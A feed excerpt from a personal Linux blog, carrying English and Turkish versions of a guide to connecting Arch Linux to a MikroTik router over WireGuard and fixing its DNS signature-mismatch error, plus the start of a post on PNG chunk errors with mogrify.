&lt;h2 id="troubleshooting-resolvconf-signature-mismatch-error"&gt;⚡ Troubleshooting: "resolvconf: signature mismatch" Error&lt;a class="headerlink" href="#troubleshooting-resolvconf-signature-mismatch-error" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;When you try to start the connection, you will probably run into this error:
&lt;code&gt;resolvconf: signature mismatch: /etc/resolv.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Why does it happen?&lt;/strong&gt;
In Arch Linux, NetworkManager, by default, dives straight into the &lt;code&gt;/etc/resolv.conf&lt;/code&gt; file and overwrites it. However, &lt;code&gt;openresolv&lt;/code&gt; (and therefore &lt;code&gt;wg-quick&lt;/code&gt;) checks the signature of this file. When NetworkManager changes the file, the signature is broken, and WireGuard cannot apply the DNS settings.&lt;/p&gt;
&lt;h3 id="solution-the-right-way-systemd-resolved"&gt;Solution: The "Right Way" (systemd-resolved)&lt;a class="headerlink" href="#solution-the-right-way-systemd-resolved" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Instead of dealing with methods called "dirty hacks" (like PreUp), configuring NetworkManager to use &lt;code&gt;systemd-resolved&lt;/code&gt; is the cleanest way.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Update the NetworkManager setting:
   Add the following to the &lt;code&gt;/etc/NetworkManager/NetworkManager.conf&lt;/code&gt; file:
   &lt;code&gt;ini
   [main]
   dns=systemd-resolved&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Trigger the services:
   &lt;code&gt;bash
   yuceltoluyag@archlinux:~$ sudo systemctl enable --now systemd-resolved
   yuceltoluyag@archlinux:~$ sudo systemctl restart NetworkManager&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Now your &lt;code&gt;/etc/resolv.conf&lt;/code&gt; file will point to the &lt;code&gt;127.0.0.53&lt;/code&gt; address (i.e. local systemd-resolved) and will be able to pass WireGuard DNS settings to this service without any issues.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="firing-up-the-connection_1"&gt;🚀 Firing Up the Connection&lt;a class="headerlink" href="#firing-up-the-connection" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;If everything is ready, let's open the tunnel:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;wg-quick@wg0
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wg-quick@wg0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Use the legendary &lt;code&gt;wg&lt;/code&gt; command to check the status:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;wg&lt;span class="w"&gt; &lt;/span&gt;show
interface:&lt;span class="w"&gt; &lt;/span&gt;wg0
&lt;span class="w"&gt;  &lt;/span&gt;public&lt;span class="w"&gt; &lt;/span&gt;key:&lt;span class="w"&gt; &lt;/span&gt;0Cl***9F4&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;private&lt;span class="w"&gt; &lt;/span&gt;key:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;hidden&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;listening&lt;span class="w"&gt; &lt;/span&gt;port:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;47047&lt;/span&gt;

peer:&lt;span class="w"&gt; &lt;/span&gt;hxz***50o&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;endpoint:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;178&lt;/span&gt;.xxx.xxx.184:51820
&lt;span class="w"&gt;  &lt;/span&gt;allowed&lt;span class="w"&gt; &lt;/span&gt;ips:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.100.0.0/24,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.0.0/24
&lt;span class="w"&gt;  &lt;/span&gt;latest&lt;span class="w"&gt; &lt;/span&gt;handshake:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;seconds&lt;span class="w"&gt; &lt;/span&gt;ago
&lt;span class="w"&gt;  &lt;/span&gt;transfer:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.06&lt;span class="w"&gt; &lt;/span&gt;KiB&lt;span class="w"&gt; &lt;/span&gt;received,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.13&lt;span class="w"&gt; &lt;/span&gt;KiB&lt;span class="w"&gt; &lt;/span&gt;sent
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;If you see a duration in the &lt;code&gt;latest handshake&lt;/code&gt; section, congratulations; you have shaken hands with MikroTik.&lt;/p&gt;
&lt;p&gt;Now you can connect to the servers behind MikroTik via SSH. If you are still experiencing issues related to disk space or performance, I suggest you take a look at my articles on &lt;a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Space Not Visible Solution&lt;/a&gt; or &lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Alright then, see you at the next technical crisis!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="related-posts"&gt;🔗 Related Posts&lt;a class="headerlink" href="#related-posts" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Space Not Visible Solution&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/en/png-mogrify-chunk-hatalari-cozumu/"&gt;My Test with PNG Files: Mogrify and Chunk Errors&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"/><category term="arch linux"/><category term="mikrotik"/><category term="wireguard"/><category term="vpn"/><category term="dns"/></entry><entry><title>Arch Linux'tan MikroTik'e WireGuard: DNS Belası ve Temiz Kurulum</title><link href="https://yuceltoluyag.github.io/arch-linux-mikrotik-wireguard-kurulumu/" rel="alternate"/><published>2026-05-10T23:05:00+03:00</published><updated>2026-05-10T23:05:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-10:/arch-linux-mikrotik-wireguard-kurulumu/</id><summary type="html">&lt;p&gt;Arch Linux üzerinde WireGuard kurup MikroTik'e bağlanırken karşınıza çıkacak o meşhur DNS 'signature mismatch' hatasını ve en doğru çözüm yolunu anlatıyorum.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Arch Linux kullan&amp;inodot;yorsan&amp;inodot;z, bir &amp;scedil;eyi "sadece kurmak" yetmez; o &amp;scedil;eyin sistemin geri kalan&amp;inodot;yla (&amp;ouml;zellikle NetworkManager ve DNS ile) nas&amp;inodot;l kavga etti&amp;gbreve;ini de bilmeniz gerekir. Bug&amp;uuml;n, MikroTik'i VPN Hub yaparak Arch Linux peer'&amp;inodot;n&amp;inodot; ba&amp;gbreve;lamay&amp;inodot; anlat&amp;inodot;yorum. &lt;/p&gt;
&lt;p&gt;Ben de her seferinde kendi eski notlar&amp;inodot;mda ve sa&amp;gbreve;da solda konfig&amp;uuml;rasyon aramaktan yoruldu&amp;gbreve;um i&amp;ccedil;in, t&amp;uuml;m s&amp;uuml;reci ve o sinir bozucu DNS hatas&amp;inodot;n&amp;inodot;n &amp;ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;n&amp;uuml; buraya tek par&amp;ccedil;a halinde b&amp;inodot;rak&amp;inodot;yorum.&lt;/p&gt;
&lt;h2 id="adm-1-arac-gerecleri-kusanalm"&gt;📦 Ad&amp;inodot;m 1: Ara&amp;ccedil; gere&amp;ccedil;leri ku&amp;scedil;anal&amp;inodot;m&lt;a class="headerlink" href="#adm-1-arac-gerecleri-kusanalm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Ouml;ncelikle ihtiyac&amp;inodot;m&amp;inodot;z olan paket &lt;code&gt;wireguard-tools&lt;/code&gt;. Bu paket hem gerekli yard&amp;inodot;mc&amp;inodot; ara&amp;ccedil;lar&amp;inodot; hem de ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; y&amp;ouml;netecek systemd unit'lerini getiriyor.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;pacman&lt;span class="w"&gt; &lt;/span&gt;-S&lt;span class="w"&gt; &lt;/span&gt;wireguard-tools
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2 id="adm-2-anahtar-uretimi-ve-yetkiler"&gt;🔑 Ad&amp;inodot;m 2: Anahtar &amp;Uuml;retimi ve Yetkiler&lt;a class="headerlink" href="#adm-2-anahtar-uretimi-ve-yetkiler" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;WireGuard anahtarlar&amp;inodot; &lt;code&gt;/etc/wireguard/&lt;/code&gt; alt&amp;inodot;nda durur. Klas&amp;ouml;r&amp;uuml; olu&amp;scedil;turup anahtarlar&amp;inodot; tek sat&amp;inodot;rda &amp;uuml;retelim (ben genelde b&amp;ouml;yle yapar&amp;inodot;m, daha h&amp;inodot;zl&amp;inodot;):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;-i
root@archlinux:~#&lt;span class="w"&gt; &lt;/span&gt;mkdir&lt;span class="w"&gt; &lt;/span&gt;-p&lt;span class="w"&gt; &lt;/span&gt;/etc/wireguard/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;cd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;/etc/wireguard/
root@archlinux:/etc/wireguard#&lt;span class="w"&gt; &lt;/span&gt;wg&lt;span class="w"&gt; &lt;/span&gt;genkey&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;tee&lt;span class="w"&gt; &lt;/span&gt;privatekey&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wg&lt;span class="w"&gt; &lt;/span&gt;pubkey&lt;span class="w"&gt; &lt;/span&gt;&amp;gt;&lt;span class="w"&gt; &lt;/span&gt;publickey
root@archlinux:/etc/wireguard#&lt;span class="w"&gt; &lt;/span&gt;chmod&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;600&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;privatekey
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Burada &lt;code&gt;privatekey&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; sadece root'un okuyabildi&amp;gbreve;inden emin olun; yoksa sistem size "g&amp;uuml;venlik" diye ba&amp;gbreve;&amp;inodot;rmaya ba&amp;scedil;lar.&lt;/p&gt;
&lt;h2 id="adm-3-konfigurasyon-wg0conf"&gt;⚙️ Ad&amp;inodot;m 3: Konfig&amp;uuml;rasyon (wg0.conf)&lt;a class="headerlink" href="#adm-3-konfigurasyon-wg0conf" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;&amp;Scedil;imdi as&amp;inodot;l meseleye geliyoruz. &lt;code&gt;/etc/wireguard/wg0.conf&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; olu&amp;scedil;tural&amp;inodot;m. Burada kendi nickname'inizi veya &amp;ouml;zel bir notunuzu eklemek, konfig&amp;uuml;rasyonu takip etmeyi kolayla&amp;scedil;t&amp;inodot;r&amp;inodot;r.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="k"&gt;[Interface]&lt;/span&gt;
&lt;span class="c1"&gt;# Friday13 VPN Peer Configuration&lt;/span&gt;
&lt;span class="na"&gt;PrivateKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;SENIN_PRIVATE_KEYIN&amp;gt;&lt;/span&gt;
&lt;span class="na"&gt;Address&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.100.0.10/32&lt;/span&gt;
&lt;span class="na"&gt;DNS&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;192.168.0.1, 10.100.0.1&lt;/span&gt;

&lt;span class="k"&gt;[Peer]&lt;/span&gt;
&lt;span class="c1"&gt;# MikroTik Office Gateway&lt;/span&gt;
&lt;span class="na"&gt;PublicKey&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;&amp;lt;MIKROTIK_PUBLIC_KEYI&amp;gt;&lt;/span&gt;
&lt;span class="na"&gt;Endpoint&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;178.xxx.xxx.184:51820&lt;/span&gt;
&lt;span class="na"&gt;AllowedIPs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;10.100.0.0/24, 192.168.0.0/24&lt;/span&gt;
&lt;span class="na"&gt;PersistentKeepalive&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s"&gt;25&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bu noktada MikroTik taraf&amp;inodot;nda da yeni bir Peer ekleyip, Arch makinenizin &lt;code&gt;publickey&lt;/code&gt; i&amp;ccedil;eri&amp;gbreve;ini oraya girmeniz gerekiyor.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="sorun-giderme-resolvconf-signature-mismatch-hatas"&gt;⚡ Sorun Giderme: "resolvconf: signature mismatch" Hatas&amp;inodot;&lt;a class="headerlink" href="#sorun-giderme-resolvconf-signature-mismatch-hatas" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; ba&amp;scedil;latmaya &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda muhtemelen &amp;scedil;u hatayla toslayacaks&amp;inodot;n&amp;inodot;z:
&lt;code&gt;resolvconf: signature mismatch: /etc/resolv.conf&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Neden oluyor?&lt;/strong&gt; 
Arch Linux'ta NetworkManager varsay&amp;inodot;lan olarak &lt;code&gt;/etc/resolv.conf&lt;/code&gt; dosyas&amp;inodot;na direkt dalar ve &amp;uuml;zerine yazar. Ancak &lt;code&gt;openresolv&lt;/code&gt; (ve dolay&amp;inodot;s&amp;inodot;yla &lt;code&gt;wg-quick&lt;/code&gt;), bu dosyan&amp;inodot;n imzas&amp;inodot;n&amp;inodot; kontrol eder. NetworkManager dosyay&amp;inodot; de&amp;gbreve;i&amp;scedil;tirince imza bozulur ve WireGuard DNS ayarlar&amp;inodot;n&amp;inodot; i&amp;scedil;leyemez.&lt;/p&gt;
&lt;h3 id="cozum-dogru-yol-systemd-resolved"&gt;&amp;Ccedil;&amp;ouml;z&amp;uuml;m: "Do&amp;gbreve;ru Yol" (systemd-resolved)&lt;a class="headerlink" href="#cozum-dogru-yol-systemd-resolved" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;"Dirty hack" denilen y&amp;ouml;ntemlerle u&amp;gbreve;ra&amp;scedil;mak yerine (PreUp gibi), NetworkManager'&amp;inodot; &lt;code&gt;systemd-resolved&lt;/code&gt; kullanacak &amp;scedil;ekilde ayarlamak en temizidir.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;NetworkManager ayar&amp;inodot;n&amp;inodot; g&amp;uuml;ncelleyin:
    &lt;code&gt;/etc/NetworkManager/NetworkManager.conf&lt;/code&gt; dosyas&amp;inodot;na &amp;scedil;unu ekleyin:
    &lt;code&gt;ini
    [main]
    dns=systemd-resolved&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Servisleri tetikleyin:
    &lt;code&gt;bash
    yuceltoluyag@archlinux:~$ sudo systemctl enable --now systemd-resolved
    yuceltoluyag@archlinux:~$ sudo systemctl restart NetworkManager&lt;/code&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Art&amp;inodot;k &lt;code&gt;/etc/resolv.conf&lt;/code&gt; dosyan&amp;inodot;z &lt;code&gt;127.0.0.53&lt;/code&gt; adresine (yani yerel systemd-resolved'a) bakacak ve WireGuard DNS ayarlar&amp;inodot;n&amp;inodot; sorunsuzca bu servise iletebilecek.&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="baglanty-atesleme_1"&gt;🚀 Ba&amp;gbreve;lant&amp;inodot;y&amp;inodot; Ate&amp;scedil;leme&lt;a class="headerlink" href="#baglanty-atesleme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Her &amp;scedil;ey haz&amp;inodot;rsa t&amp;uuml;neli a&amp;ccedil;al&amp;inodot;m:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;start&lt;span class="w"&gt; &lt;/span&gt;wg-quick@wg0
yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;systemctl&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nb"&gt;enable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;wg-quick@wg0
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Durumu kontrol etmek i&amp;ccedil;in efsane &lt;code&gt;wg&lt;/code&gt; komutunu kullan&amp;inodot;n:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~$&lt;span class="w"&gt; &lt;/span&gt;sudo&lt;span class="w"&gt; &lt;/span&gt;wg&lt;span class="w"&gt; &lt;/span&gt;show
interface:&lt;span class="w"&gt; &lt;/span&gt;wg0
&lt;span class="w"&gt;  &lt;/span&gt;public&lt;span class="w"&gt; &lt;/span&gt;key:&lt;span class="w"&gt; &lt;/span&gt;0Cl***9F4&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;private&lt;span class="w"&gt; &lt;/span&gt;key:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;hidden&lt;span class="o"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;listening&lt;span class="w"&gt; &lt;/span&gt;port:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;47047&lt;/span&gt;

peer:&lt;span class="w"&gt; &lt;/span&gt;hxz***50o&lt;span class="o"&gt;=&lt;/span&gt;
&lt;span class="w"&gt;  &lt;/span&gt;endpoint:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;178&lt;/span&gt;.xxx.xxx.184:51820
&lt;span class="w"&gt;  &lt;/span&gt;allowed&lt;span class="w"&gt; &lt;/span&gt;ips:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;10&lt;/span&gt;.100.0.0/24,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;192&lt;/span&gt;.168.0.0/24
&lt;span class="w"&gt;  &lt;/span&gt;latest&lt;span class="w"&gt; &lt;/span&gt;handshake:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;20&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;seconds&lt;span class="w"&gt; &lt;/span&gt;ago
&lt;span class="w"&gt;  &lt;/span&gt;transfer:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;12&lt;/span&gt;.06&lt;span class="w"&gt; &lt;/span&gt;KiB&lt;span class="w"&gt; &lt;/span&gt;received,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;8&lt;/span&gt;.13&lt;span class="w"&gt; &lt;/span&gt;KiB&lt;span class="w"&gt; &lt;/span&gt;sent
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code&gt;latest handshake&lt;/code&gt; k&amp;inodot;sm&amp;inodot;nda s&amp;uuml;reyi g&amp;ouml;r&amp;uuml;yorsan&amp;inodot;z, tebrikler; MikroTik ile el s&amp;inodot;k&amp;inodot;&amp;scedil;t&amp;inodot;n&amp;inodot;z demektir. &lt;/p&gt;
&lt;p&gt;Art&amp;inodot;k MikroTik arkas&amp;inodot;ndaki sunuculara SSH ile ba&amp;gbreve;lanabilirsiniz. E&amp;gbreve;er hala disk alan&amp;inodot; veya performansla ilgili sorunlar ya&amp;scedil;&amp;inodot;yorsan&amp;inodot;z, &lt;a href="/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Alan&amp;inodot; G&amp;ouml;r&amp;uuml;nmuyor &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt; veya &lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt; yaz&amp;inodot;lar&amp;inodot;ma da bir g&amp;ouml;z at&amp;inodot;n derim.&lt;/p&gt;
&lt;p&gt;Hadi eyvallah, bir sonraki teknik krizde g&amp;ouml;r&amp;uuml;&amp;scedil;mek &amp;uuml;zere!&lt;/p&gt;
&lt;hr/&gt;
&lt;h2 id="ilgili-yazlar"&gt;🔗 &amp;Idot;lgili Yaz&amp;inodot;lar&lt;a class="headerlink" href="#ilgili-yazlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performans Ayarlar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/arch-linux-disk-alani-gorunmuyor-cozum/"&gt;Arch Linux Disk Alan&amp;inodot; G&amp;ouml;r&amp;uuml;nmuyor &amp;Ccedil;&amp;ouml;z&amp;uuml;m&amp;uuml;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="/png-mogrify-chunk-hatalari-cozumu/"&gt;PNG Dosyalar&amp;inodot;yla &amp;Idot;mtihan&amp;inodot;m: Mogrify ve Chunk Hatalar&amp;inodot;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><category term="Linux"/><category term="arch linux"/><category term="mikrotik"/><category term="wireguard"/><category term="vpn"/><category term="dns"/></entry><entry><title>My Trial with PNG Files: Mogrify and Those Annoying Chunk Errors</title><link href="https://yuceltoluyag.github.io/en/png-mogrify-chunk-hatalari-cozumu/" rel="alternate"/><published>2026-05-10T21:40:00+03:00</published><updated>2026-05-10T21:40:00+03:00</updated><author><name>yuceltoluyag</name></author><id>tag:yuceltoluyag.github.io,2026-05-10:/en/png-mogrify-chunk-hatalari-cozumu/</id><summary type="html">&lt;p&gt;I share the real reason for the 'sBIT: bad length' errors encountered while processing PNGs with Mogrify and the fastest way to get rid of this chunk pain.&lt;/p&gt;</summary><content type="html">&lt;p&gt;Last night was one of those famous mornings again; eyes bloodshot from sleeplessness, coffee ice-cold... I got in front of the terminal just to quickly resize 500 screenshots and upload them to the site. I was saying, "I'll write two lines of &lt;code&gt;mogrify&lt;/code&gt; and go to sleep." But when the terminal started screaming at me in red letters, the color of the game changed: &lt;code&gt;libpng warning: sBIT: bad length&lt;/code&gt;. &lt;/p&gt;
&lt;p&gt;Especially in PNGs taken with Windows' Snipping Tool, this chunk (data block) error is a real pain. If you also feel like you have gone into a boxing match over the terminal like me, let's see how we can tame this ImageMagick beast.&lt;/p&gt;
&lt;h2 id="mogrify-vs-convert-the-overwrite-gamble"&gt;🛠️ Mogrify vs. Convert: The "Overwrite" Gamble&lt;a class="headerlink" href="#mogrify-vs-convert-the-overwrite-gamble" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;First, let's get this fundamental matter out of the way: &lt;code&gt;convert&lt;/code&gt; protects your original file, while &lt;code&gt;mogrify&lt;/code&gt; dives straight into overwriting without looking back. &lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt; &lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;cp&lt;span class="w"&gt; &lt;/span&gt;-r&lt;span class="w"&gt; &lt;/span&gt;images/&lt;span class="w"&gt; &lt;/span&gt;images_yedek/&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;# TAKE A BACKUP FIRST!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Unless you have millions of files, using the processor efficiently is important, as I mentioned in my &lt;a href="/en/arch-linux-cpu-performans-ayarlari/"&gt;Arch Linux CPU Performance Settings&lt;/a&gt; post, rather than ImageMagick which is known for its speed but can be clunky. However, &lt;code&gt;mogrify&lt;/code&gt; is still king in batch processing. But working without a backup is suicide in the terminal, karda&amp;scedil;.&lt;/p&gt;
&lt;h2 id="getting-rid-of-the-png-chunk-trouble"&gt;🧹 Getting Rid of the PNG Chunk Trouble&lt;a class="headerlink" href="#getting-rid-of-the-png-chunk-trouble" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;PNG files do not only consist of pixels. Inside, there are chunks like IHDR, IDAT (which look like NASA documents) and our archenemy &lt;code&gt;sBIT&lt;/code&gt;. This &lt;code&gt;sBIT&lt;/code&gt; block actually holds color depth information, but sometimes its size (length) comes in wrong, and &lt;code&gt;libpng&lt;/code&gt; throws an error when it sees this.&lt;/p&gt;
&lt;h3 id="1-radically-solving-the-sbit-error"&gt;1. Radically Solving the sBIT Error&lt;a class="headerlink" href="#1-radically-solving-the-sbit-error" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;The cleanest way to silence errors is to leave that problematic block out when processing the file:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;yuceltoluyag@archlinux:~/screenshots$&lt;span class="w"&gt; &lt;/span&gt;mogrify&lt;span class="w"&gt; &lt;/span&gt;-define&lt;span class="w"&gt; &lt;/span&gt;png:exclude-chunks&lt;span class="o"&gt;=&lt;/span&gt;sBIT&lt;span class="w"&gt; &lt;/span&gt;*.png
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;With this command, we say: "I can't deal with your damn sBIT, throw it in the trash." Does the quality drop? Nah, I didn't notice any difference. The file gets lighter, the errors stop.&lt;/p&gt;
